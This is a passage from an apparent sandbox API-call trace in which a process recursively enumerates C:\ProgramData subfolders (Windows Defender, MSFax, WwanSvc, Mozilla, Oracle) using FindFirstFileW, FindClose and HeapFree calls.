nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.301] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.301] GetProcessHeap () returned 0x550000 [0265.301] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.334] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.335] GetProcessHeap () returned 0x550000 [0265.335] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.335] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.336] GetProcessHeap () returned 0x550000 [0265.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.336] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.336] GetProcessHeap () returned 0x550000 [0265.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.336] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.337] GetProcessHeap () returned 0x550000 [0265.337] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.337] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.337] GetProcessHeap () returned 0x550000 [0265.337] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.340] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.340] GetProcessHeap () returned 0x550000 [0265.340] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0265.341] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0265.341] GetProcessHeap () returned 0x550000 [0265.341] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0265.341] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.341] GetProcessHeap () returned 0x550000 [0265.341] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.342] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.343] GetProcessHeap () returned 0x550000 [0265.343] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.343] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.343] GetProcessHeap () returned 0x550000 [0265.343] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.343] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.343] GetProcessHeap () returned 0x550000 [0265.344] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.345] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.345] GetProcessHeap () returned 0x550000 [0265.345] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.346] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.350] GetProcessHeap () returned 0x550000 [0265.350] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.350] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.350] GetProcessHeap () returned 0x550000 [0265.350] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.353] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.353] GetProcessHeap () returned 0x550000 [0265.353] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.355] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.355] GetProcessHeap () returned 0x550000 [0265.355] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.355] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.355] GetProcessHeap () returned 0x550000 [0265.355] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.358] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.358] GetProcessHeap () returned 0x550000 [0265.358] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.358] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.358] GetProcessHeap () returned 0x550000 [0265.358] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.358] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.359] GetProcessHeap () returned 0x550000 [0265.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.360] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.361] GetProcessHeap () returned 0x550000 [0265.361] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.361] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.361] GetProcessHeap () returned 0x550000 [0265.361] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.362] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.362] GetProcessHeap () returned 0x550000 [0265.362] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.363] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.363] GetProcessHeap () returned 0x550000 [0265.363] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.363] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.363] GetProcessHeap () returned 0x550000 [0265.363] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.364] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.364] GetProcessHeap () returned 0x550000 [0265.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.364] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.364] GetProcessHeap () returned 0x550000 [0265.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.364] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0265.364] GetProcessHeap () returned 0x550000 [0265.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0265.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0265.370] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0265.371] GetProcessHeap () returned 0x550000 [0265.371] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0265.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0265.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.372] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.372] GetProcessHeap () returned 0x550000 [0265.372] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.372] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0265.373] GetProcessHeap () returned 0x550000 [0265.373] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0265.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Oracle\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0265.373] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0265.373] GetProcessHeap () returned 0x550000 [0265.373] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 